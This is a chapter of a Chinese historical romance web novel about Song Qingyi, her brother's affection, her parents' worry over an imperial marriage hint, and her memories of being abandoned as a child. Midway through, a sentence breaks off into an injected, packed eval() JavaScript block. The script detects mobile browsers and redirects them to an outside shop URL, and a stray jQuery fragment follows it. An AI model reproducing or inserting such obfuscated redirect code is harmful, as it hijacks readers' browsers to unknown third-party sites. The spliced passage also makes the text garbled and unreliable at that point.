宋清漪心事重重地回了宋府。
祝平安与她说,她娘与蕴和群主是手帕交,情谊深厚,时常去安王府看望她,这是京城众人都熟知之事,而凡是她娘举办的宴会,蕴和郡主皆会过来捧场。
正好,再过几日,她祖母要举办六十大寿,如果她想见蕴和郡主,那将是一个时机。
宋清漪想了想,那确实是个不错的选择。
只是想起昭阳公主的吩咐,她眉心微蹙。
临走时,昭阳公主特意叫住了她。
她说:“宋清漪,你帮我把这个纸条给宋清霖呗。”
她问她怎么不让阿姐帮忙,她说宋清滢才不会帮她做这等无聊之事,若是让人送去,说不定宋清霖也看都不会看一眼。而她不同,宋清霖疼爱她这个妹妹了,想必他会收下。
听完之后,她在心底默默无语,这不是拿她当枪使吗?
可是,谁让她是公主呢?她又怎么能不听她的。
来到宋清霖住的翠竹轩,首先入耳的便是几声低咳。宋清漪匆匆进屋,没管什么规矩了。
宋清霖抬起头来,便见宋清漪往这边走来。
“这么晚了,还不休息?”宋清霖放下掩嘴的帕子,轻声道。
宋清漪上前替他顺背,问道:“阿兄不是说不严重吗?怎么难受成这样?”
宋清霖神色有一瞬变化,但很快恢复自然,是不严重了,只不过今晚被气到了。
“没事,时好时坏罢了,等到了春天就不咳了,这可是阿涟告诉我的呢,阿兄可一直记的呢。”宋清霖扬唇一笑。
“找阿兄是有什么事吗?”
宋清漪看着自家阿兄这般温润的模样,更担心他会被欺负了。
昭阳公主花心,要是她不好好待阿兄,那阿兄岂不是人情皆被骗。
“喏”,她将掌心往前一伸,“这是公主殿下给你的,让你务必要仔细检阅,不然她说她会不高兴。”
宋清霖垂眸接过,“所以你来这就是为了这件事。”
宋清漪低声‘嗯’了一句。
她实在有些不放心,忍不住劝了一句,“阿兄,公主太花心了,要是陛下真要你当她的驸马,那也是没办法的。你在她的府上就与那些人好好相处,能躲则躲,不要硬碰硬,要不然你这身子骨哪里吃的消。不说都说,留的青山在不怕没柴烧,等以后康健了再找他们算账也可以的。要实在不行,你来找我,我帮你去打人。”
宋清霖被她这一长串话搞懵了,好半晌才回过神来。
“他们是谁?”他疑惑问道。
宋清漪瘪嘴,老实作答:“就是公主喜欢的那些人呀,你不知道,今晚公主还因为一个男子与人发生了口角,说那人的妹妹抢了她看上的男人。”
“你不知道那男子是谁?”宋清霖脱口而出问她。
“我怎么知道……”她抬眸看向他,他的眼底没有一丝惊异,她忽然明白了过来,仿佛被戏耍了一般,咂了咂嘴,“阿兄,那人不会是你吧?”
她幽幽发问道。
宋清霖不自在地错开了目光,没有说话。
默然就是承认了,宋清漪努了努嘴,“亏我还担心阿兄会被欺负,现在我更该担心的是公主殿下了。她手背都擦破了那么大一块皮,阿兄竟然都没有关心一句,心肠真硬。”
宋清霖不明所以地朝着她看了一眼。
她竟没骗他?
见他一副若有所思的模样,宋清漪也说不出什么其他的话来,毕竟他们之间的事她也没有亲眼见证过,她不该乱掺和。
“那阿兄,我先走了,你好好休息。若是还咳,你可以试试用生姜敷脚心、盐包热敷背部的方法,少时之时我便试过,还挺有用的。”宋清漪说道。
她正欲离开,宋清霖却起身,走到一旁的案牍上,拂开压着的书卷,从底下拿过一个红封,他笑着对她说道:“今年的红封,祝愿阿涟万事顺意。”
宋清漪接过之后,紧接着又见他从另一侧拿过一个匣子,递给了她。
“这里头都是阿兄往年给你存的,你好生收着。”
宋清漪怔住,一时没去接。
更久远的记忆席卷了她的脑袋,她忽然想起,四岁那年,她刚会记事不久,爹娘给他们三个都准备红封,他们很高兴。
年关时节,热闹是热闹,但街头的扒手也很多。她也是傻,出门当天钱就被人骗走了,蹲在石桥边大哭了一场。是宋清霖带她出来的,也是宋清霖最先找着她的,知晓她的钱被人拿走了,他愤恨骂了两句那扒手,最后也没有办法。
她就像一个不讲理的混球,哭得鼻涕一把眼泪一把的,说什么也不愿意走。于是宋清霖便把自己红封里的钱分出来一半给了她,还答应她以后每年他也会给她准备一份,这样她就有两份,比他们的都要多,才将她给哄好。
可是在那不久,她便与他们走散了。
只是,她没想到他竟然还记得。
那个褐色的匣子又近了些,宋清漪眼睫微颤,伸手接过,她朝着宋清霖看过去,抿了抿唇,语气有些干涩,“阿兄,我已经不是小孩子了,可以不用红封了。”
闻言,宋清霖抬手揉了揉她的头,唇畔的笑依旧温柔如清风。
“本来就不是因为你是孩子才给你准备的,只是因为你是我的妹妹。”
……
从翠竹轩离开以后,宋清漪心绪不宁地回了漪澜院。
甫一进门,便看见岑锦素与宋常也在,似乎等了很久。
“阿娘,阿爹,你们怎么来了?”宋清漪将怀里捧着的匣子收进了一旁的柜子里。
岑锦素注意到了她的动作,也瞧见了那个匣子,心中的愧疚感更深了,她开口道:“去见你阿兄了?”
宋清漪点点头。
“我和你爹也听说了今晚的事,那荆夫人没难为到你们吧?”她面露关切。
当初荆夫人确实与她说过有结亲之意,可最后不是没成吗?于是从那以后她便处处看她家不顺,每次见面她俩总要呛声几句,现在想来,好在宋清滢没嫁过去,有这样的婆母在,媳妇又怎能落到半分好。
宋清漪说:“没有,公主殿下责罚了她。”
对于昭阳公主,他们也略有耳闻,甚至京中总有些传言在她与宋清霖之间,他们做父母的,其实也不知真假。
只是,对于今夜宫宴上盛武帝说的话,他们才最为关心。
“夫君,你说陛下好端端地提及阿涟的婚事是为何?不会真有这个打算吧?”岑锦素心中一咯噔。
虽然盛武帝没有明说,但天子每说出口的一言一语,都是极为重要的,哪怕只是玩笑,都有史官记录在册。
她自然没想过要将宋清漪这么早就嫁出去,尽管她已经十七岁了,她更多的是想招一个赘婿。她才刚归家,她这个做娘的都没与她好生培养关系,怎么就能将人送到别家去。
哪怕江家并不差,这些年陛下虽忌惮,但到底没有完全削了江国公的权……怎么说,还是他们家高攀。
何况如今江时越也是刚刚归家,陛下骤然提及,实在难解。
这朝堂之事,宋常也不是很明白,做生意就没那么多弯绕。
“你阿姐是如何说的?”他问道。
宋清滢今晚回了夏府。
宋清漪回想起宋清滢与她说的话,她淡声道:“阿姐说不必担心。”
“而且凭我的身份,陛下就算再乱点鸳鸯谱,也是不会失了分寸的。”
岑锦素闻言却蹙眉,她的身份怎么了,她是他们宋家的女儿,是比不上那些达官显贵,但在京中也是有头有脸的人物,配
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775403|206741||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
大多数人都是绰绰有余的。
“既已归家,便不要想太多了,阿娘与你阿爹都会一直陪着你的。”岑锦素忽然想起刚刚春华与她说的卜卦,这卦象之意不好,但也没很差,她相信只要她好好陪女儿,还怕女儿沉溺在那段过去之中吗?于是她便没有怎么当一回事。
她拿过桌上的碗,温声道:“快来喝银耳莲子羹,刚叫厨房送来的,还热乎着呢。”
好不容易喝完了羹汤,岑锦素与宋常才离开了她的屋子。
宋清漪深深叹了一口气,目光又落回桌上,那里放着一些新的首饰和小玩意,首饰很漂亮,小玩意有她少时玩过的,也有没玩过的,她刚进屋时就看见了。
只是她没提,他们也没在意。
她稍稍梳洗了一番过后,便上了床。
可是,直至打更声起,她都没有睡着。
她蹑手蹑脚地从榻上起身,来到桌前又给自己倒了一杯凉水,冰凉的湿感滑过喉间,心中的那道灼热之感非但没有半分减少,反而更猛烈起来,烧得发疼。
“周阿怜,滚出去。”那是周老头又在发脾气了。
她不敢在他生气的时候出现在他的面前,即使那些难听的话听了一遍又一遍,她的情绪还是会有所起伏。
那是一种极不好的感觉。
她一言不发地出去了,里头的声音断断续续,她听不真切。
“你欠了那么多赌债,你要如何还?再养姑娘,你养的起!大的那个还能给你挣些银钱,小的还得指望你给她赚些银钱,看在这么多年相识的份上,我给你指条明路,就把她送到邻县里去吧,那儿正有一对夫妻没孩子,他们有钱,想来也不会亏待她,这样你的债务也能轻松些。”
“你说的那对夫妻最是心狠了,亲生的都被打死了,这个不熟的还能好好对她?”
“你怎么就这么执迷不悟呢?”
“他们刚失了女儿,现在正是亏欠的时候,这姑娘过去,会好的……”
……
不知是过了多久,里头的声音渐渐停了,那人走了出来,瞥了她一眼,嘴角扯着一抹若有若无的笑意,她觉得刺眼极了。
当天夜里,周老头破天荒地给她买了一根糖葫芦,然后牵着她的手走了大概一个多时辰的路。
其实,她那时早有预感,他是要把她丢掉的。
事实果真如此。
她跟着那户人家生活了两天,还是如往常一样要刷碗、洗衣、扫地……做各种各样的活计。
她那时就在心里对周老头怨怼,他骗人,她明明更累了。
第三天,她被他们关了起来,他们在外头得了点不如意,回家就开始要打她,美名其曰‘去去晦气’。
第一鞭子落下的时候,她便趁机逃了出去。她记不太清回去的路,跑的途中,鞋子还丢了一只。
一直到三更天,她才回到了家。
彼时,周老头是震惊地看见她的。她还记得他揉了好几下双眼,以为是自己看错了人。
没等他开口,她抬起眼,率先说了一句:“你是不是不要我了?”
她问得很平静,周老头都愣住了。
“是又如何?从哪里来回哪里去。”周松的声音冷硬又决绝,他拉住她的手将她往外推。
她没让他得逞,死活抱着井口不松手,她的视线掠过东侧那道虚掩的门,里头很暗,她能听到自己咬牙问出了那句,“那为什么不要的是我?”
宋清漪原本明亮的眼眸,在想起这些往事的那刻,她的眼立即黯淡了下来,双手紧紧握成了拳,指甲陷入了掌心,她又不敢太用力,害怕明日留下痕迹。
许久,她的嘴角扯过一抹苦笑,嘴唇被咬出了浅浅的齿痕。
被往事所累,难以解脱吗?
想来是这样的……